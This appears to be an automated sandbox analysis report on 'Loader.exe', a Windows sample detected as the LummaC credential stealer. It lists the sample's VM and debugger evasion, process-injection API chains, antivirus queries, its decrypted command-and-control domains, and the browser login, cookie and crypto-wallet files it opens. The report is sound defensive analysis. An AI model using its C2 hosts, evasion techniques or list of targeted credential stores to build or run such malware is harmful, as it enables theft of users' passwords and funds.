Source: Loader.exe, 00000003.00000002.1904171728.00000000009AF000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Loader.exe
Source: Loader.exe, 00000003.00000003.1667582762.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Loader.exe
Source: Loader.exe	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Loader.exe

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Loader.exe

Static PE information: Section: .bss ZLIB complexity 1.0003360896915585

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/1@1/1

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_004396A0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_004396A0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7340:120:WilError_03

Source: Loader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Loader.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Loader.exe, 00000003.00000003.1760893361.0000000005936000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714336106.0000000005966000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1760947199.0000000005944000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1760930827.000000000593F000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1760913077.000000000593B000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\Loader.exe

File read: C:\Users\user\Desktop\Loader.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0092FC73 push ecx; ret	0_2_0092FC86
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0092FC73 push ecx; ret	2_2_0092FC86
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440240 push eax; mov dword ptr [esp], DED9D88Bh	3_2_00440245
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004464FA push edx; ret	3_2_00446500
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0044666E push cs; ret	3_2_00446682
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00446627 push cs; ret	3_2_00446682
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00430797 push 89240489h; mov dword ptr [esp], eax	3_2_004307CB

Source: C:\Users\user\Desktop\Loader.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Loader.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-21165

Source: C:\Users\user\Desktop\Loader.exe TID: 7432

Thread sleep time: -150000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009420D9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_009420D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00942028 FindFirstFileExW,	0_2_00942028
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_009420D9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_009420D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00942028 FindFirstFileExW,	2_2_00942028

Source: Loader.exe, 00000003.00000003.1902857262.000000000336C000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1903575535.000000000336F000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000002.1904716370.0000000003370000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: Loader.exe, 00000003.00000002.1904716370.00000000033B9000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1903575535.00000000033B9000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1902857262.00000000033B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Loader.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_0043EBA0 LdrInitializeThunk,

3_2_0043EBA0

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_0092F9D9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0092F9D9

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00922060 mov edi, dword ptr fs:[00000030h]	0_2_00922060
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0095A19E mov edi, dword ptr fs:[00000030h]	0_2_0095A19E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00922060 mov edi, dword ptr fs:[00000030h]	2_2_00922060

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_0093D9D0 GetProcessHeap,

0_2_0093D9D0

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0092F61D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0092F61D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0092F9D9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0092F9D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0092F9CD SetUnhandledExceptionFilter,	0_2_0092F9CD
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00937F20 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00937F20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0092F61D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0092F61D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0092F9D9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0092F9D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0092F9CD SetUnhandledExceptionFilter,	2_2_0092F9CD
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00937F20 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00937F20

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_0095A19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0095A19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Loader.exe

Memory written: C:\Users\user\Desktop\Loader.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Loader.exe, 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: Loader.exe, 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: Loader.exe, 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: Loader.exe, 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: Loader.exe, 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: Loader.exe, 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: Loader.exe, 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: Loader.exe, 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: Loader.exe, 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: undesirabkel.click

Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"			Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"			Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_0093D2AD
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00941377
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_009415C8
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00941670
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_009418C3
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_00941930
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00941AF7
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_00941A05
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_00941A50
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_00941BFD
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_0093CD05
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	2_2_0093D2AD
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00941377
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	2_2_009415C8
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	2_2_009418C3
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	2_2_00941930
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00941AF7
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	2_2_00941A05
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	2_2_00941A50
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	2_2_00941BFD
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	2_2_0093CD05

Source: C:\Users\user\Desktop\Loader.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_009301A4 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_009301A4

Source: C:\Users\user\Desktop\Loader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Loader.exe, 00000003.00000003.1903481642.0000000003416000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000002.1905041050.0000000003417000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1902629994.0000000003412000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1882184319.0000000003411000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1881885413.000000000340F000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1853019894.000000000340C000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1882356018.0000000003416000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: Loader.exe, 00000003.00000003.1835467428.0000000005939000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1835512355.000000000593F000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1835602520.0000000003416000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Loader.exe PID: 7408, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Loader.exe, 00000003.00000003.1835653632.00000000033C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: Loader.exe, 00000003.00000003.1835653632.00000000033C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: Loader.exe, 00000003.00000003.1835653632.00000000033C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Loader.exe, 00000003.00000003.1809991841.0000000003402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: Loader.exe, 00000003.00000003.1902857262.0000000003405000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: [{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\
Source: Loader.exe, 00000003.00000003.1835653632.00000000033C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb30
Source: Loader.exe, 00000003.00000003.1835653632.00000000033C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: Loader.exe, 00000003.00000003.1809991841.0000000003402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Loader.exe, 00000003.00000003.1809991841.0000000003402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
